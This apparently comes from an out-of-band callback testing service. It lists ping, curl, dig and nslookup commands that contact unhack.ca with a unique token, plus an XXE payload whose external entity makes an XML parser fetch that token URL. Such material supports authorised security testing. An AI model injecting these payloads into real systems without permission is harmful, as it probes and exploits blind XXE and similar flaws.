$ ping -c1 -p 005f01ed09d62ab303304659e80c8b00 unhack.ca
 

$ curl http://unhack.ca/p/5f01ed09d62ab303304659e80c8b
 

$ dig 5f01ed09d62ab303304659e80c8b @unhack.ca
 

$ dig 5f01ed09d62ab303304659e80c8b.ns.unhack.ca
 

C:\> nslookup 5f01ed09d62ab303304659e80c8b unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5f01ed09d62ab303304659e80c8b">]>
    <foo>&xxe;</foo>